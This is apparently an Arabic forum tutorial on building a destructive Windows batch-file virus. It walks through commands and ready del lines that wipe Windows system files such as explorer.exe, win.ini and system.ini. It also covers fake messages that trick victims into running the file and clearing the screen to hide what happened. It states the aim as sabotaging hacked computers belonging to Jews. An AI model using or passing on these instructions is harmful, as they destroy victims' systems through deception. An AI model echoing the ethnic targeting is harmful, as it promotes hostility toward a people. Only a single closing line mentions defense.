الرحمن الرحيم
السلام عليم يا شباب
النهاردة بإذن الله هنتعلم إزاى نعمل فيروس
الهدف من هذا الدرس
كتييييييير جداً بنخترق اليهود و كل البرامج ما عدا البرورات مش بتدمر فبنضطر ندمر بإيدينا
دلوقتى هنتعلم نعمل ملف نرفعه على جهازه ونشغله وهو هيقول بمهمة التدمير
وبالله عليكم مش عايزين استعمال ضد المسلمين
الفيروس
أولا الفيروس هو مجموعة أوامر تدميرية تعمل تحت أى ظروف وهذا هو الفرق بين
الفيروس و الجرثومة فالجرثومة لها وظيفة محددة وفى ظروف محددة
البرامج المستخدمة فى صناعة الفيروسات
نستطيع صناعة الفيروسات بأبسط برنامج فى الويندوز أوهو Notepad أو المفكرة ولاتتعجب
طريقة حفظ الفيروس بحيث يكون جاهز للعمل
مش هنحفظه بإمتداد txt هنحفظ بإمتداد bat وده يخلى كل الأوامر الى دخلناها فى المفكرة تشتغل على الدوس
والصور توضح
طب لما نحب نفتحه تانى بالنوت باد علشان نعدل فيه نعمل إيه ؟
كليك يمين على الفيروس واختار Edit
أوامر صناعة الفيروسات
@pause
لإيقاف الفيروس حتى يضغط المستخدم أى مفتاح
فإذا وضعنا هذا الأمر فقط فى المفكرة هكذا
وقمنا بالحفظ كما تعلمنا بإمتداد bat
هنلاقى نافذة الدوس فتحت الشكل ده
دوس أى حاجة هتلاقى الشاشة اختفت
@echo
يعرض كلمات لا دخل لها بالكود تظهر أثناء العرض للضحية
يعنى مثلا عايزين نراوغ شوية مع الضحية نقوله عايزين نقوله Say Good Bye To Your Computer
يبقى نخليها
@echo Say Good Bye To Your Computer
دلوقتى نحظها فى النوت باد ونحط تحتيها الأمر @pause
يعنى تبقى كده
ونشغل الملف هنلاقة الدوس فتح لنا المنظر ده
واحد هيقولى يعنى يا عصب هو الضحية هيدوس أى حاجة لما يشوف الرسالة دى ؟
اقوله ده مثال فقط المفروض دى بتستخدم كخدع علشان مش يحس انه فيروس يعنى
مثلا تقوله لزيادة سرعة جهازك عن طريقة مسح ملفات غير ضرورية اضغط أى
مفتاح ... الخ
:exit
لإغلاق شاشة الفيروس تمام وهى غير ضرورية فى الإكس بى و2000 و 2003 علشان الدوس بيقفل اوتوماتيك لما الامر يخلص
إنما ضرورية جداً فى الإصدارات القديمة Me و 98 و 95 علشان الشاشة هتفضل
مفتوحة حتى بعد نهاية الكود والضحية هيشوف الأوامر الى اتنفذت عنده
cls
لتنظيف الشاشة من كل الأكواد ومن الأفضل ان تكون دائما فى آخر الكود قبل :exit علشان لو حصل خطأ الضحية ما يعرفش إيه الى تم عنده
%WinDir%
لتحديد مسار الويندوز
del , deltree
دول الأوامر الى هنستخدمها للمتدمير يعنى الفيروس الى هنعمله هيخرب الويندوز عن طريق مسح ملفاته
del لمسح ملف مباشر أو مجلد
deltree لمسح كل محتويات مجلد ولكنه به مشكلة أولا وهى (Y/N) يخير بين القبول والرفض وهذا كاف لإيقاف عمل الفيروس
لذا سنستخدم الأمر del للمسح فمثلا سنقوم بعمل ملف تكست على السى باسم 1.txt
ولمسحه سنستخدم هذا الأمر del C:\1.txt
والأفضل ان تضيف بعده :exit
شغل الفيروس ولاحظ الملف هتلاقيه اتمسح
دلوقتى احنا عايزين نمسح ملف جوة الويندوز
نروح نعمل ملف تكست زى الى كنا عاملينه فى السى بس المرة دى فى الويندوز ونسميه برضه 1.txt
يبقى الكود المستحدم del %WinDir%\1.txt
نشغل الفيروس ونلاحظ الملف هنلاقيه اتمسح
واحد هيقولى يا عصب طب ما احنا كده نقدر نمسح كل ملفات الويندوز مباشرة عن طريق إبدال 1.txt بـ *.*
أقوله لو جربتها الويندوز بيعرف إن حجم التدمير كبير فبيسأل المستخدم متأكد ولا لأ (Y/N)
هتقولى ما احنا كنا بنستخدم الدالة /y فى آخر السطر للموافقة على أى (Y/N)
هقولك جرب بنفسك ضيف السطر كده
del %WinDir%\*.* /y
هتلاقى العملية مشيت والفيرس انتهى الكود بس الملفات لسه موجودة !!!
دلوقتى أكيد انتم فهمتم الفكرة كلها احنا دلوقتى جوة الويندوز نقدر نمسح الى عايزينه و 90% منها ملفات حساسة يعنى التخريب هيتم
ودى بعض الاكواد لإسقاط الويندوز
del %WinDir%\explorer.exe
del %WinDir%\NOTEPAD.EXE
del %WinDir%\ISUninst.exe
del %WinDir%\wjview.exe
del %WinDir%\win.ini
del %WinDir%\system.ini
وطبعا أكيد كلكم عارفين أماكن الملفات التانية الحساسة
الدرس خلص وان شاء الله بعد ما فهمتم الفكرة هبقى انزل لكم كل يومين كده شوية اكواد مكتوبة جاهزة للفيروسات دى
الحماية والوقاية من هذا النوع من الفيروسات
تحميل برنامج الكاسبر سكاى انتى فيروس فهو من البرامج القلية التى تحدد هذا النوع نت الفيروسات
amr_toto20077
